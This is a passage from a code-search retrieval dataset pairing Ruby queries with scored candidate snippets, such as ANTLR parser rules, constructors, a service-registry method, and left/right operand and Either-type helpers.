@class_called.instance_methods[__IDENTIFIER20__.text]\n \t generate('era', nil, @class_called.name, @method_called.starting_fourfold)\n \t \n # <-- action\n match( T__28, TOKENS_FOLLOWING_T__28_IN_invocation_1632 )\n # at line 962:5: ( arguments )?\n alt_31 = 2\n look_31_0 = @input.peek( 1 )\n\n if ( look_31_0.between?( IDENTIFIER, INTEGER ) || look_31_0.between?( FLOAT, NULL ) || look_31_0 == T__28 || look_31_0 == T__41 || look_31_0.between?( T__49, T__51 ) )\n alt_31 = 1\n end\n case alt_31\n when 1\n # at line 962:5: arguments\n @state.following.push( TOKENS_FOLLOWING_arguments_IN_invocation_1638 )\n arguments\n @state.following.pop\n\n end\n match( T__29, TOKENS_FOLLOWING_T__29_IN_invocation_1645 )\n # --> action\n\n \t generate('gsb', @instance_called.address, @class_called.name, @method_called.starting_fourfold)\n \t type_a = @method_called.return_type\n \t @instance_called = nil\n \t @method_called = nil;\n \t @class_called = nil;\n \t \n # <-- action\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 32 )\n\n end\n \n return type_a\n end", "title": "" }, { "docid": "19ae6927b3fd0ce8bcea88dee307bd2a", "score": "0.4799764", "text": "def get_instance(payload)\n AnonymizeInstance.new(@version, payload, room_sid: @solution[:room_sid], sid: @solution[:sid])\n end", "title": "" }, { "docid": "1a8d9f7e92d3864b105eb45230e244df", "score": "0.4793011", "text": "def declare_allergen(name, ing)\n Allergen.new(name,self,ing)\n end", "title": "" }, { "docid": "0903a70f30da506d445df729637567d8", "score": "0.47892442", "text": "def inflame _obj, _args\n \"_obj inflame _args;\" \n end", "title": "" }, { "docid": "615ffcd234f19f4b8c52da503105990a", "score": "0.47874823", "text": "def at!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 9)\n\n type = AT\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 15:6: '@'\n match(?@)\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 9)\n\n end", "title": "" }, { "docid": "1035e4801b8426101413499f91309d57", "score": "0.47858018", "text": "def initialize(name, actor)\n @name = name\n @actor = actor\n @@all << self\n end", "title": "" }, { "docid": "4b8b484fdf932dd6b7710d5594ed3100", "score": "0.4779695", "text": "def start(klass, *args)\n # Get the hardcore alias.\n hals = \"#{klass}\" + klass.hardcore_alias(*args)\n\n # Has a service already been constructed for this guy? If so, increment\n # its reference count like it aint no thang.\n if (inst = self[hals])\n inst.ref\n return inst\n end\n\n inst = klass.new(*args)\n als = inst.alias\n\n # Find an alias that isn't taken.\n if (self[als])\n cnt = 1\n cnt += 1 while (self[als + \" #{cnt}\"])\n als = inst.alias + \" #{cnt}\"\n end\n\n # Extend the instance as a service.\n inst.extend(Rex::Service)\n\n # Re-aliases the instance.\n inst.alias = als\n\n # Fire up the engines. If an error occurs an exception will be\n # raised.\n inst.start\n\n # Alias associate and initialize reference counting\n self[als] = self[hals] = inst.refinit\n\n # Pass the caller a reference\n inst.ref\n\n inst\n end", "title": "" }, { "docid": "c30eabb16b6f0c77359ff5a6f01e5f25", "score": "0.47722837", "text": "def initialize(owner_class, *args, &block); end", "title": "" }, { "docid": "39fd8b1572693dd3d27f629e7554694a", "score": "0.47718143", "text": "def initialize\n @am = RDoc::Markup::AttributeManager.new\n @output = nil\n end", "title": "" }, { "docid": "240c90734e3fecc85fea11e5592396c7", "score": "0.4770439", "text": "def skill _obj, _args\n \"_obj skill _args;\" \n end", "title": "" }, { "docid": "28044a4022af2427b2d3b328db35387d", "score": "0.47535342", "text": "def myAnotherInstance = new ObjectOrientedProgramming()", "title": "" }, { "docid": "8e3629bb42b471c640e3e1bd665bf3b2", "score": "0.47534588", "text": "def initialize(*) end", "title": "" }, { "docid": "8e3629bb42b471c640e3e1bd665bf3b2", "score": "0.47534588", "text": "def initialize(*) end", "title": "" }, { "docid": "8e3629bb42b471c640e3e1bd665bf3b2", "score": "0.47534588", "text": "def initialize(*) end", "title": "" }, { "docid": "8e3629bb42b471c640e3e1bd665bf3b2", "score": "0.47534588", "text": "def initialize(*) end", "title": "" }, { "docid": "8e3629bb42b471c640e3e1bd665bf3b2", "score": "0.47534588", "text": "def initialize(*) end", "title": "" }, { "docid": "d32249faf27c040d2e62092bc03fd2e2", "score": "0.47528028", "text": "def initialize(acronyms = [])\n @entries = {}\n @pattern = /(?!)/ # match nothing\n\n acronyms.each { |acronym| add(acronym) }\n end", "title": "" }, { "docid": "0168349677c945d7511bab904fa96c14", "score": "0.47501156", "text": "def adl(args, &block)\n Sprout::ADLTask.define_task(args, &block)\nend", "title": "" }, { "docid": "7d1a758437361ced223fec4e568edc1c", "score": "0.47499418", "text": "def asignacion!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 14 )\n\n\n\n type = ASIGNACION\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 309:3: '='\n match( 0x3d )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 14 )\n\n\n end", "title": "" }, { "docid": "6dd8a11fa285c135965e77a11c4d3956", "score": "0.47476345", "text": "def learn!\n parse_ngrams!\n parse_lexicon!\n compute_interpolations! if interpolations.nil?\n end", "title": "" }, { "docid": "d3c07f494c62ef06ca6979a299e56c1a", "score": "0.47462332", "text": "def with_one_positional_arg(a) # rubocop:disable Naming/MethodParameterName\n @instance_one_positional_arg_counter = instance_one_positional_arg_counter + 1\n \"instance_with_one_positional_arg: a=#{a}\"\n end", "title": "" }, { "docid": "d54bcf6a4fe53a0fc297922ec0e069ef", "score": "0.47460046", "text": "def initialize(name)\n # scoped to one instance\n\n @name = name\n # @cast = []\n @@all << self\n end", "title": "" }, { "docid": "0e24c37d220428cd1343ac889b309163", "score": "0.47447437", "text": "def at(*args); end", "title": "" }, { "docid": "0e24c37d220428cd1343ac889b309163", "score": "0.47447437", "text": "def at(*args); end", "title": "" }, { "docid": "0e24c37d220428cd1343ac889b309163", "score": "0.47447437", "text": "def at(*args); end", "title": "" }, { "docid": "0e24c37d220428cd1343ac889b309163", "score": "0.47447437", "text": "def at(*args); end", "title": "" }, { "docid": "5fdb24c07c99fa0b81c713087e598993", "score": "0.47445068", "text": "def initialize(self)\n self.objects = []\n self.agents = []\n end", "title": "" }, { "docid": "32772969dba191abc1e37ca54acf400d", "score": "0.47439244", "text": "def create_ai\n return Battle::AI.new(self)\n end", "title": "" }, { "docid": "d7e9c1dce985d1e2d9b5173b4c4793c2", "score": "0.47284195", "text": "def initialize(name)\n @name = name\n @@all << self #pushes every instance into the @@all array\nend", "title": "" } ]
204576b7dba3b8926aaf74df95d17dee
for ux/view, return behavior square type
[ { "docid": "73dcb72575a2b677c353dbf3ea95d947", "score": "0.0", "text": "def ux_event_behavior_square_type( event)\n sq = Square.find( event.behavior_square_id)\n if sq.tracking_type == Square::COUNTER\n \"Counter\"\n elsif sq.tracking_type == Square::TIMER\n \"Timer\"\n else\n \"???\"\n end\n end", "title": "" } ]
[ { "docid": "5b822d3ea4409723729c22d36d70df3d", "score": "0.61246705", "text": "def shape2d?()\n self== Range2d or self== Union2d\nend", "title": "" }, { "docid": "c2491104081c97d8f96464fc8e7b1279", "score": "0.6017492", "text": "def to_view(type)\n return self.value.to_view(type)\n end", "title": "" }, { "docid": "06ac2a456dcb885e1009a811e247fa42", "score": "0.59385675", "text": "def square?; end", "title": "" }, { "docid": "2f9391d120ea2ee2a6c46287b3c65670", "score": "0.58596146", "text": "def type(*) end", "title": "" }, { "docid": "ff312102a315c97d4ecbb7c269afdf18", "score": "0.582032", "text": "def view_type\n end", "title": "" }, { "docid": "d85e33f07ea6618f4748feea4201abaf", "score": "0.57904255", "text": "def shape1d?()\n self.range1d? or self.union1d?\nend", "title": "" }, { "docid": "25fbc65b81765ccbb2e0c0c540a3d4f6", "score": "0.5722629", "text": "def shape2d?()\n self.range2d? or self.union2d?\nend", "title": "" }, { "docid": "fe6e7f3809ae3cf19f060d045a7d5a69", "score": "0.57206035", "text": "def fancy_type\n @type\n end", "title": "" }, { "docid": "eccc96f0e06521184f104bbf5bf9bbba", "score": "0.570792", "text": "def square?\n orientation == :square\n end", "title": "" }, { "docid": "2f3ddacce683cf5b44d8ba7b6d537f4b", "score": "0.5705061", "text": "def shape1d?; true end", "title": "" }, { "docid": "d365f3e84680b0b9e5ba6a3b82062b59", "score": "0.56853145", "text": "def fancy_type\n @type\n end", "title": "" }, { "docid": "616873801fd2c5a73ad82ca6a24263a5", "score": "0.5675505", "text": "def true_field_of_view(apparent, magnification)\n apparent / magnification\n end", "title": "" }, { "docid": "40784ef633eff53c6cc9a2cb404f9b62", "score": "0.5674652", "text": "def desired_type; end", "title": "" }, { "docid": "40784ef633eff53c6cc9a2cb404f9b62", "score": "0.5674652", "text": "def desired_type; end", "title": "" }, { "docid": "40784ef633eff53c6cc9a2cb404f9b62", "score": "0.5674652", "text": "def desired_type; end", "title": "" }, { "docid": "78a6ba17e2cf861b41ecb44b253405f5", "score": "0.56631416", "text": "def type_of(value); end", "title": "" }, { "docid": "be0195c22513e098a8c70d17ea88a414", "score": "0.5656199", "text": "def square\n @ant.square\n end", "title": "" }, { "docid": "575ede29e608a2a26c7dc816718d933c", "score": "0.5653257", "text": "def type \r\n end", "title": "" }, { "docid": "0e77b7dbebc15691a6d24d2bb808ab1e", "score": "0.562516", "text": "def type_caster; end", "title": "" }, { "docid": "106d290e935d60c7232b0870a4b41cad", "score": "0.56247133", "text": "def shape1d?; false end", "title": "" }, { "docid": "008e12e2a1fe6c0a621dc8ca4a9a55ce", "score": "0.560073", "text": "def _type\n if row_size==column_size\n if row_size.times.find {|i| self[i,i]!=1.0}\n :covariance\n else\n :correlation\n end\n else\n @type\n end\n\n end", "title": "" }, { "docid": "e0504d36cb2ddb1fc0ba0ea407d53ef8", "score": "0.55981344", "text": "def view_type(view_name, name = nil)\n view_full_definition(view_name, name).second\n end", "title": "" }, { "docid": "1c44197508bde4dd5fc1112e27e667e7", "score": "0.55797666", "text": "def rectype\n part.rectype if part\n end", "title": "" }, { "docid": "59d857366a6620b676fae908f4193b7e", "score": "0.5577665", "text": "def square?()\n return (@height == @width) & (@type == \"rectangle\")\n end", "title": "" }, { "docid": "4b254246ae0738624ba5dc6a4c4f6d8a", "score": "0.55718887", "text": "def kind\n zeroes #calling the valid methods defined below\n inequality\n if @length_1 == @length_2 && @length_1 == @length_3\n self.type = :equilateral\n elsif @length_2 == @length_3 || @length_1 == @length_3 || @length_1 == @length_2\n self.type = :isosceles\n else\n self.type = :scalene\n end\n end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.556289", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" }, { "docid": "e8aec1294781b37104977c808a46cd71", "score": "0.55626553", "text": "def type; end", "title": "" } ]
888db938c0643df10c6108a580900dcb
Tells if the expression is a right value.
[ { "docid": "1143d4601ef686ca6742b6fe3003005c", "score": "0.7170118", "text": "def rightvalue?\n return !self.leftvalue?\n end", "title": "" } ]
[ { "docid": "9d0999f1cdd6b46ab4cccf942ff33241", "score": "0.70955235", "text": "def right_matches?(value)\n right.matches?(value)\n end", "title": "" }, { "docid": "7478b56beacef99fb8574723041fc0bc", "score": "0.6718252", "text": "def right?\n instance_of?(Right)\n end", "title": "" }, { "docid": "2c7d608688e78e3553dcce6d20d1ad15", "score": "0.67036986", "text": "def right?\n if @right.nil? then false\n elsif block_given? then yield right\n else true\n end\n end", "title": "" }, { "docid": "9849f0d6bba75c2ef83cf4b4db3bc992", "score": "0.6623874", "text": "def right_inequality?\n util = Axiom::Function::Predicate\n right.kind_of?(util::Inequality) || right.kind_of?(util::Exclusion)\n end", "title": "" }, { "docid": "484995fd48d11ac7b8a572414bd9d5d9", "score": "0.6623653", "text": "def right_equality?\n util = Axiom::Function::Predicate\n right.kind_of?(util::Equality) || right.kind_of?(util::Inclusion)\n end", "title": "" }, { "docid": "2219fc9885ecfd2d61261ce42de5dc07", "score": "0.6461496", "text": "def getRightExpression() \n return self.VAR_VALUE[:var_Right]\n end", "title": "" }, { "docid": "0d9bed3fc2cf35c815a83fa4abe134e4", "score": "0.64367694", "text": "def right(value)\n boolean = value ? true : false\n\n model.show_right = boolean\n end", "title": "" }, { "docid": "595e2463f8bb02a9f2bb8151bf249ec9", "score": "0.6361602", "text": "def evaluate_operator(left, right)\n left or right\n end", "title": "" }, { "docid": "bb38206a796d0a6871e4ec5ee7818be4", "score": "0.6312796", "text": "def is_right?\n @kind == Quiz::RIGHT\n end", "title": "" }, { "docid": "1475836a7618b42f36a39663c925e6b7", "score": "0.62446266", "text": "def check_right\n\t\tunless @right_child.nil?\n\t\t\treturn @right_child.value\n\t\tend\n\tend", "title": "" }, { "docid": "e50687fbfa6cbb98ffe32bbd19261128", "score": "0.6159388", "text": "def right_aligned?\n value == :right\n end", "title": "" }, { "docid": "c45bf5f73b93be22368442abf63380af", "score": "0.613081", "text": "def right_nil?\n right.nil?\n end", "title": "" }, { "docid": "f442f5219e009b13134968d58f160a53", "score": "0.6129485", "text": "def right_value\n if [:masgn, :lvasgn, :ivasgn].include? self.type\n self.children[1]\n else\n raise Synvert::Core::MethodNotSupported.new \"right_value is not handled for #{self.debug_info}\"\n end\n end", "title": "" }, { "docid": "7cb7c4bf27322b6784ef7bb9ef3b2777", "score": "0.61207664", "text": "def right_matching_left?\n right.kind_of?(Axiom::Algebra::Restriction) && right.predicate.eql?(materialized_predicate)\n end", "title": "" }, { "docid": "591b311f241ce124acea4dd59a9feefd", "score": "0.59870046", "text": "def right\n operands.last\n end", "title": "" }, { "docid": "93ff14a25d53c3741464ec3c4dc67072", "score": "0.5986395", "text": "def from_right\n value\n end", "title": "" }, { "docid": "2d9722b1bd24aa8e305a7c92edf39556", "score": "0.5964399", "text": "def right(x); end", "title": "" }, { "docid": "6c90b7792f0c0bb7ae66db3a103721b1", "score": "0.5956679", "text": "def reducible? expression\n\tcase expression \n\twhen Num\n\t\tfalse \n\twhen Add, Mul\n\t\tfalse \n\tend \nend", "title": "" }, { "docid": "88a518411fcdad574f5e3a53fee0f7f7", "score": "0.59478676", "text": "def right_tautology?\n right.equal?(Axiom::Function::Proposition::Tautology.instance)\n end", "title": "" }, { "docid": "70df8552eed6ae6b986ba44314c5f975", "score": "0.5936581", "text": "def right(options = {})\n (options[:right] || @right).to_i\n end", "title": "" }, { "docid": "1120b6124e241acdf6502501c1e25b46", "score": "0.592943", "text": "def is_higher_or_right(symbol)\n higher = PRECEDENCE[symbol] > PRECEDENCE[@stack.last]\n equal = PRECEDENCE[symbol] == PRECEDENCE[@stack.last]\n right = ASSOCIATIVITY[symbol] == :right\n\n return higher || (equal && right)\n end", "title": "" }, { "docid": "f00df5e04314f7155f649ccf174178eb", "score": "0.59282756", "text": "def evaluate_operator(left, right)\n left == right\n end", "title": "" }, { "docid": "f2034121c41a6994ee2d5e032d7e020f", "score": "0.59245086", "text": "def evaluate_operator(left, right)\n left != right\n end", "title": "" }, { "docid": "5b934c546759ebc251091a29daa507f7", "score": "0.5919359", "text": "def right_none?\n right.none? { true }\n end", "title": "" }, { "docid": "d305d0ad974373eb0cb70f5ccb0d8695", "score": "0.5904767", "text": "def right\n check_pre_conditions\n @facing = next_facing('right')\n end", "title": "" }, { "docid": "e0bbe900270b7152444e995aed26cd49", "score": "0.5899668", "text": "def is_operand\n\t\tmatch_type(\"number\") or match_type(\"identifier\")\n\tend", "title": "" }, { "docid": "7531c3f8ed2f6c608136ebce19edafb7", "score": "0.588216", "text": "def right_contradiction?\n right.equal?(Axiom::Function::Proposition::Contradiction.instance)\n end", "title": "" }, { "docid": "bf19baa5f6e432ba2693248c32cafab1", "score": "0.5851246", "text": "def wrap_right\n wrap_operand(operand.right)\n end", "title": "" }, { "docid": "bf19baa5f6e432ba2693248c32cafab1", "score": "0.5851246", "text": "def wrap_right\n wrap_operand(operand.right)\n end", "title": "" }, { "docid": "71a8ed416310a516c35b42868d5a1065", "score": "0.58506876", "text": "def right=(value)\n @right = value.to_i\n end", "title": "" }, { "docid": "10162fe87ad4b5c402e40a842deabba9", "score": "0.584556", "text": "def right(value)\n characters[\"right\"] = value\n end", "title": "" }, { "docid": "a4ae202d1953d96b4e156b87c24cd770", "score": "0.5828237", "text": "def evaluate_helper(interp = Interpretation.new)\t# interp is an interpretation.\n\t\t\tl = @left.evaluate_helper(interp) unless @left.nil? # Evaluate left child.\n\t\t\tr = @right.evaluate_helper(interp) unless @right.nil? # Evaluate right child.\n\n\t\t\tcase @value\n\t\t\t\twhen 'NOT'\n\t\t\t\t\treturn true if !r\n\t\t\t\twhen 'AND'\n\t\t\t\t\treturn true if l && r\n\t\t\t\twhen 'OR'\n\t\t\t\t\treturn true if l || r\n\t\t\t\twhen 'IMPLIES'\n\t\t\t\t\treturn true if !l || r\n\t\t\t\twhen 'IFF'\n\t\t\t\t\treturn true if l == r\n\t\t\t\telse\n\t\t\t\t\treturn interp.values[@value]\n\t\t\tend\n\t\t\tfalse\n\t\tend", "title": "" }, { "docid": "b28afe349317288cff232459b693997b", "score": "0.5801971", "text": "def is_safe_value?(expr); end", "title": "" }, { "docid": "424c8e65e3184b78f1d2e7674fd42263", "score": "0.5788957", "text": "def or(right); end", "title": "" }, { "docid": "c6720b481615bc3b2be43e2dc526b96b", "score": "0.5776834", "text": "def get_or_else(e)\n case self\n when Right\n @v\n else\n e\n end\n end", "title": "" }, { "docid": "ed38ca36997448269b24071e903dc91a", "score": "0.57627153", "text": "def right(x, _); x end", "title": "" }, { "docid": "d9d65d6abe76adbbebeb9b52b0aee1ff", "score": "0.5761476", "text": "def from_right\n if block_given?\n yield(value)\n else\n fail \"Expected right value, got #{inspect}\"\n end\n end", "title": "" }, { "docid": "1ed0e7be93657c707dc534633b324f54", "score": "0.5745423", "text": "def right_value\n if [:lasgn, :iasgn].include? node_type\n self[2]\n end\n end", "title": "" }, { "docid": "3aa9e0031c13902ce21bea9314f42417", "score": "0.57424533", "text": "def safe_right\n if context.root? then\n Left.new(ZipperError.new(:right_at_root, self))\n elsif context.right_nodes.empty? then\n Left.new(ZipperError.new(:right_at_rightmost, self))\n else\n Right.new(new_zipper(context.right_nodes.first,\n Context.new(context.path,\n context.parent_nodes,\n context.left_nodes + [value],\n context.right_nodes.drop(1),\n context.changed?)))\n end\n end", "title": "" }, { "docid": "5d3a2a840040fec8c4f82849bfe6770f", "score": "0.5737007", "text": "def evaluate_operator(left, right)\n left and right\n end", "title": "" }, { "docid": "0a49a755b90f91bf78a41bbf661acd38", "score": "0.5684905", "text": "def left_matching_right?\n left.kind_of?(Axiom::Algebra::Restriction) && left.predicate.eql?(materialized_predicate)\n end", "title": "" }, { "docid": "00fa274f78e24f86c97102f04710eb6a", "score": "0.5682468", "text": "def evaluate(scope)\n # evaluate the operands, should return a boolean value\n lval = @lval.safeevaluate(scope)\n lval = Puppet::Parser::Scope.number?(lval)\n if lval == nil\n raise ArgumentError, \"left operand of #{@operator} is not a number\"\n end\n rval = @rval.safeevaluate(scope)\n rval = Puppet::Parser::Scope.number?(rval)\n if rval == nil\n raise ArgumentError, \"right operand of #{@operator} is not a number\"\n end\n\n # compute result\n lval.send(@operator, rval)\n end", "title": "" }, { "docid": "0e117f1f91aa6b21589f901fa9fad64b", "score": "0.5674786", "text": "def right_answer?\n @correct_answer = @num1.send(@operator, @num2)\n # round answer to 2 decimal places if division\n if division? \n @correct_answer = @correct_answer.round(2) \n @answer = @answer.to_f\n else\n @answer = @answer.to_i\n end\n\n @answer == @correct_answer\n end", "title": "" }, { "docid": "5933937fbb84f444b2cf772d2655a5cf", "score": "0.56541455", "text": "def evaluate(scope)\n lval = @lval.safeevaluate(scope)\n\n return(rval.evaluate_match(lval, scope) ? @operator == \"=~\" : @operator == \"!~\")\n end", "title": "" }, { "docid": "d4bed291af05122a772327fa48b7d903", "score": "0.56474835", "text": "def right\n @right\n end", "title": "" }, { "docid": "89e2b6ea94d252b54981d138f46bbba9", "score": "0.5634623", "text": "def expression?\n false\n end", "title": "" }, { "docid": "69b6e47110268964906093097204c81e", "score": "0.5626106", "text": "def or(left, right = nil)\n _factor_predicate([:or, sexpr(left), sexpr(right)])\n end", "title": "" }, { "docid": "7f1c4ffcee6f3f5bd838950e607aae7f", "score": "0.5623691", "text": "def operate_value_right\n if !right.is_a?(SyntaxTree) && right.to_i.to_s == right\n unary? ? \"INT2FIX(#{op}#{right})\" : \"INT2FIX(#{right})\"\n elsif right.is_a?(SyntaxTree) && right.unary? && right.right.to_i.to_s == right.right\n \"INT2FIX(#{op}#{right})\"\n else\n right.operate_value.first\n end\n end", "title": "" }, { "docid": "ca14a78302604b6b85d83f3d46201f9c", "score": "0.5600083", "text": "def expression?\n true\n end", "title": "" }, { "docid": "1079cd3e2fb039021573151df0ad3620", "score": "0.55893755", "text": "def valid?; \"right\" end", "title": "" }, { "docid": "7c6e5dcc61eac3d045f38dd140d2f5ea", "score": "0.5575678", "text": "def visit_logical_expr(expr)\n resolve_expr(expr.left_expr)\n resolve_expr(expr.right_expr)\n nil\n end", "title": "" }, { "docid": "634b44b2b59c652b7eeb338204aa8428", "score": "0.55618465", "text": "def right=(value)\n value = value.to_i\n value = 0 if value < 0\n \n @right = value\n end", "title": "" }, { "docid": "5b95d5322b1237b0483fa90293aa37f8", "score": "0.5547119", "text": "def right\n\t\t\t@right\n\t\tend", "title": "" }, { "docid": "6ee16f4c937b256315a84b835f990258", "score": "0.55449796", "text": "def am_right?\n @parent && @parent.right == self\n end", "title": "" }, { "docid": "14ea38f80ea4b904d43d87d94a7fa89a", "score": "0.55392677", "text": "def is_safe_value?(expr)\n return is_safe_value?(expr.elements.last) if expr.is_a?(Script::Tree::ListLiteral)\n return false unless expr.is_a?(Script::Tree::Literal)\n expr.value.is_a?(Script::Value::Number) ||\n (expr.value.is_a?(Script::Value::String) && expr.value.type == :identifier)\n end", "title": "" }, { "docid": "81ee77bcd0d2d83ae0e4cf9303597c92", "score": "0.5538375", "text": "def right_of?(p1, p2)\n cross = cross(p1, 